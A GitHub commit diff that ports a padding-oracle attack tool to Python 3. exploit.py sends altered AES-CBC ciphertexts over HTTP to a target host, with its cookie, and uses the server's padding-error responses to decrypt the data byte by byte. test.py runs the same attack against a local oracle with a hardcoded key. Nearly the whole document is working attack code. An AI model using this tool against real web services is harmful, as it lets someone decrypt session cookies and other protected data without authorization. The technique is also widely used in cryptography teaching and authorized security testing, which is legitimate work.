Skip to content

Commit ee98c03

Browse files
towynlintowynlin
authored
Merge pull request #1 from towynlin/updates-for-python37-compatibility
Updates for python37 compatibility
2 parents c53cdd4 + 5e12377 commit ee98c03

File tree

2 files changed

+83
-80
lines changed

2 files changed

+83
-80
lines changed

‎exploit.py

Lines changed: 37 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -8,13 +8,12 @@
88
'''
99

1010
import argparse
11-
import httplib, urllib
11+
import http.client
1212
import re
13-
import binascii
1413
import sys
1514
import time
16-
from binascii import unhexlify, hexlify
17-
from itertools import cycle, izip
15+
from itertools import cycle
16+
from urllib.parse import urlencode
1817

1918
####################################
2019
# CUSTOM YOUR RESPONSE ORACLE HERE #
@@ -31,7 +30,7 @@ def test_validity(response,error):
3130

3231
# oracle repsonse with data in the DOM
3332
data = response.read()
34-
if data.find(error) == -1:
33+
if data.find(error.encode()) == -1:
3534
return 1
3635
return 0
3736

@@ -40,11 +39,11 @@ def test_validity(response,error):
4039
################################
4140
def call_oracle(host,cookie,url,post,method,up_cipher):
4241
if post:
43-
params = urllib.urlencode({post})
42+
params = urlencode({post})
4443
else:
45-
params = urllib.urlencode({})
44+
params = urlencode({})
4645
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie}
47-
conn = httplib.HTTPConnection(host)
46+
conn = http.client.HTTPConnection(host)
4847
conn.request(method, url + up_cipher, params, headers)
4948
response = conn.getresponse()
5049
return conn, response
@@ -66,8 +65,11 @@ def block_padding(size_block, i):
6665
l.append(("0" if len(hex(i+1).split('0x')[1])%2 != 0 else '') + (hex(i+1).split('0x')[1]))
6766
return "00"*(size_block-(i+1)) + ''.join(l)
6867

69-
def hex_xor(s1,s2):
70-
return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2)))))
68+
def hex_xor(s1, s2):
69+
b = bytearray()
70+
for c1, c2 in zip(bytes.fromhex(s1), cycle(bytes.fromhex(s2))):
71+
b.append(c1 ^ c2)
72+
return b.hex()
7173

7274
def run(cipher,size_block,host,url,cookie,method,post,error):
7375
cipher = cipher.upper()
@@ -78,14 +80,14 @@ def run(cipher,size_block,host,url,cookie,method,post,error):
7880
cipher_block = split_len(cipher, len_block)
7981

8082
if len(cipher_block) == 1:
81-
print "[-] Abort there is only one block"
83+
print("[-] Abort there is only one block")
8284
sys.exit()
8385
#for each cipher_block
8486
for block in reversed(range(1,len(cipher_block))):
8587
if len(cipher_block[block]) != len_block:
86-
print "[-] Abort length block doesn't match the size_block"
88+
print("[-] Abort length block doesn't match the size_block")
8789
break
88-
print "[+] Search value block : ", block, "\n"
90+
print("[+] Search value block : ", block, "\n")
8991
#for each byte of the block
9092
for i in range(0,size_block):
9193
# test each byte max 255
@@ -125,20 +127,20 @@ def run(cipher,size_block,host,url,cookie,method,post,error):
125127
valide_value.insert(0,value[size_block-(i+1)])
126128

127129
if args.verbose == True:
128-
print ''
129-
print "[+] HTTP ", response.status, response.reason
130-
print "[+] Block M_Byte : %s"% bk
131-
print "[+] Block C_{i-1}: %s"% bp
132-
print "[+] Block Padding: %s"% bc
133-
print ''
130+
print('')
131+
print("[+] HTTP ", response.status, response.reason)
132+
print("[+] Block M_Byte : %s"% bk)
133+
print("[+] Block C_{i-1}: %s"% bp)
134+
print("[+] Block Padding: %s"% bc)
135+
print('')
134136

135137
bytes_found = ''.join(valide_value)
136-
if i == 0 and bytes_found.decode("hex") > hex(size_block) and block == len(cipher_block)-1:
137-
print "[-] Error decryption failed the padding is > "+str(size_block)
138+
if i == 0 and int(bytes_found, 16) > size_block and block == len(cipher_block)-1:
139+
print("[-] Error decryption failed the padding is > "+str(size_block))
138140
sys.exit()
139141

140-
print '\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found
141-
print ''
142+
print('\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found)
143+
print('')
142144

143145
break
144146
if found == False:
@@ -147,31 +149,31 @@ def run(cipher,size_block,host,url,cookie,method,post,error):
147149
value = re.findall('..',bk)
148150
valide_value.insert(0,"01")
149151
if args.verbose == True:
150-
print ''
151-
print '[-] No padding found, but maybe the padding is length 01 :)'
152-
print "[+] Block M_Byte : %s"% bk
153-
print "[+] Block C_{i-1}: %s"% bp
154-
print "[+] Block Padding: %s"% bc
155-
print ''
152+
print('')
153+
print('[-] No padding found, but maybe the padding is length 01 :)')
154+
print("[+] Block M_Byte : %s"% bk)
155+
print("[+] Block C_{i-1}: %s"% bp)
156+
print("[+] Block Padding: %s"% bc)
157+
print('')
156158
bytes_found = ''.join(valide_value)
157159
else:
158-
print "\n[-] Error decryption failed"
160+
print("\n[-] Error decryption failed")
159161
result.insert(0, ''.join(valide_value))
160162
hex_r = ''.join(result)
161-
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
163+
print("[+] Partial Decrypted value (HEX):", hex_r.upper())
162164
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
163-
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
165+
print("[+] Partial Decrypted value (ASCII):", bytes.fromhex(hex_r[0:-(padding*2)]).decode())
164166
sys.exit()
165167
found = False
166168

167169
result.insert(0, ''.join(valide_value))
168170
valide_value = []
169171

170-
print ''
172+
print('')
171173
hex_r = ''.join(result)
172-
print "[+] Decrypted value (HEX):", hex_r.upper()
174+
print("[+] Decrypted value (HEX):", hex_r.upper())
173175
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
174-
print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
176+
print("[+] Decrypted value (ASCII):", bytes.fromhex(hex_r[0:-(padding*2)]).decode())
175177

176178
if __name__ == '__main__':
177179

‎test.py

Lines changed: 46 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -9,25 +9,24 @@
99

1010
import argparse
1111
import re
12-
import binascii
1312
import sys
1413
import time
15-
from binascii import unhexlify, hexlify
16-
from itertools import cycle, izip
17-
from Crypto.Cipher import AES
18-
from Crypto import Random
14+
from itertools import cycle
15+
from Cryptodome.Cipher import AES
1916

2017
"""
2118
AES-CBC
2219
function encrypt, decrypt, pad, unpad)
2320
"""
2421

2522
def pad(s):
26-
return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
23+
pad_byte = 16 - len(s) % 16
24+
for i in range(pad_byte):
25+
s.append(pad_byte)
26+
return s
2727

2828
def unpad(s):
29-
t = s.encode("hex")
30-
exe = re.findall('..',t)
29+
exe = re.findall('..',s.hex())
3130
padding = int(exe[-1], 16)
3231
exe = exe[::-1]
3332

@@ -41,12 +40,11 @@ def unpad(s):
4140

4241
def encrypt( msg, iv):
4342
raw = pad(msg)
44-
key = Random.new().read( AES.block_size )
45-
cipher = AES.new('V38lKILOJmtpQMHp', AES.MODE_CBC, iv )
43+
cipher = AES.new(b'V38lKILOJmtpQMHp', AES.MODE_CBC, iv )
4644
return cipher.encrypt( raw ), iv
4745

4846
def decrypt( enc, iv ):
49-
decipher = AES.new('V38lKILOJmtpQMHp', AES.MODE_CBC, iv )
47+
decipher = AES.new(b'V38lKILOJmtpQMHp', AES.MODE_CBC, iv )
5048
return unpad(decipher.decrypt( enc ))
5149

5250

@@ -59,7 +57,7 @@ def test_validity(error):
5957

6058

6159
def call_oracle(up_cipher, iv):
62-
if decrypt( up_cipher, iv ) == 0:
60+
if decrypt( bytes.fromhex(up_cipher), iv ) == 0:
6361
return 404
6462
return 200
6563

@@ -80,8 +78,11 @@ def block_padding(size_block, i):
8078
def split_len(seq, length):
8179
return [seq[i:i+length] for i in range(0, len(seq), length)]
8280

83-
def hex_xor(s1,s2):
84-
return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2)))))
81+
def hex_xor(s1, s2):
82+
b = bytearray()
83+
for c1, c2 in zip(bytes.fromhex(s1), cycle(bytes.fromhex(s2))):
84+
b.append(c1 ^ c2)
85+
return b.hex()
8586

8687
def run(cipher,size_block):
8788
cipher = cipher.upper()
@@ -92,15 +93,15 @@ def run(cipher,size_block):
9293
cipher_block = split_len(cipher, len_block)
9394

9495
if len(cipher_block) == 1:
95-
print "[-] Abort there is only one block, i can't influence the IV. Tried a longer message"
96+
print("[-] Abort there is only one block, i can't influence the IV. Tried a longer message")
9697
sys.exit()
9798

9899
#for each cipher_block
99100
for block in reversed(range(1,len(cipher_block))):
100101
if len(cipher_block[block]) != len_block:
101-
print "[-] Abort length block doesn't match the size_block"
102+
print("[-] Abort length block doesn't match the size_block")
102103
break
103-
print "[+] Search value block : ", block, "\n"
104+
print("[+] Search value block : ", block, "\n")
104105
#for each byte of the block
105106
for i in range(0,size_block):
106107
# test each byte max 255
@@ -118,7 +119,7 @@ def run(cipher,size_block):
118119
#time.sleep(0.5)
119120

120121
# we call the oracle, our god
121-
error = call_oracle(up_cipher.decode('hex'),iv)
122+
error = call_oracle(up_cipher,iv)
122123

123124
if args.verbose == True:
124125
exe = re.findall('..',cb)
@@ -138,19 +139,19 @@ def run(cipher,size_block):
138139
valide_value.insert(0,value[size_block-(i+1)])
139140

140141
if args.verbose == True:
141-
print ''
142-
print "[+] Block M_Byte : %s"% bk
143-
print "[+] Block C_{i-1}: %s"% bp
144-
print "[+] Block Padding: %s"% bc
145-
print ''
142+
print('')
143+
print("[+] Block M_Byte : %s"% bk)
144+
print("[+] Block C_{i-1}: %s"% bp)
145+
print("[+] Block Padding: %s"% bc)
146+
print('')
146147

147148
bytes_found = ''.join(valide_value)
148-
if i == 0 and bytes_found.decode("hex") > hex(size_block) and block == len(cipher_block)-1:
149-
print "[-] Error decryption failed the padding is > "+str(size_block)
149+
if i == 0 and int(bytes_found, 16) > size_block and block == len(cipher_block)-1:
150+
print("[-] Error decryption failed the padding is > "+str(size_block))
150151
sys.exit()
151152

152-
print '\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found
153-
print ''
153+
print('\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found)
154+
print('')
154155

155156
break
156157
if found == False:
@@ -159,34 +160,35 @@ def run(cipher,size_block):
159160
value = re.findall('..',bk)
160161
valide_value.insert(0,"01")
161162
if args.verbose == True:
162-
print ''
163-
print '[-] No padding found, but maybe the padding is length 01 :)'
164-
print "[+] Block M_Byte : %s"% bk
165-
print "[+] Block C_{i-1}: %s"% bp
166-
print "[+] Block Padding: %s"% bc
167-
print ''
163+
print('')
164+
print('[-] No padding found, but maybe the padding is length 01 :)')
165+
print("[+] Block M_Byte : %s"% bk)
166+
print("[+] Block C_{i-1}: %s"% bp)
167+
print("[+] Block Padding: %s"% bc)
168+
print('')
168169
bytes_found = ''.join(valide_value)
169170
else:
170-
print "\n[-] Error decryption failed"
171+
print("\n[-] Error decryption failed")
171172
result.insert(0, ''.join(valide_value))
172173
hex_r = ''.join(result)
173174
if len(hex_r) > 0:
174-
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
175+
print("[+] Partial Decrypted value (HEX):", hex_r.upper())
175176
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
176-
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
177+
print("[+] Partial Decrypted value (ASCII):", bytes.fromhex(hex_r[0:-(padding*2)]).decode())
177178
sys.exit()
178179
found = False
179180

180181
result.insert(0, ''.join(valide_value))
181182
valide_value = []
182183

183-
print ''
184+
print('')
184185
hex_r = ''.join(result)
185-
print "[+] Decrypted value (HEX):", hex_r.upper()
186+
print("[+] Decrypted value (HEX):", hex_r.upper())
186187
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
187-
print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
188+
decoded = bytes.fromhex(hex_r[0:-(padding*2)]).decode()
189+
print("[+] Decrypted value (ASCII):", decoded)
188190

189-
return hex_r[0:-(padding*2)].decode("hex")
191+
return decoded
190192

191193
if __name__ == '__main__':
192194

@@ -195,10 +197,9 @@ def run(cipher,size_block):
195197
parser.add_argument('-v', "--verbose", help='debug mode, you need a large screen', action="store_true")
196198
args = parser.parse_args()
197199

198-
print "[+] Encrypt", args.message
199-
cipher, iv = encrypt(args.message, "1234567812345678")
200-
cipher_intercepted = cipher.encode("hex")
201-
print "[+] %s ---> %s" % (args.message, cipher_intercepted)
200+
print("[+] Encrypt", args.message)
201+
cipher, iv = encrypt(bytearray(args.message, 'UTF-8'), b"1234567812345678")
202+
print("[+] %s ---> %s" % (args.message, cipher.hex()))
202203
plaintext = decrypt(cipher, iv)
203204

204-
run(cipher_intercepted,16)
205+
run(cipher.hex(), 16)

0 commit comments

Comments
 (0)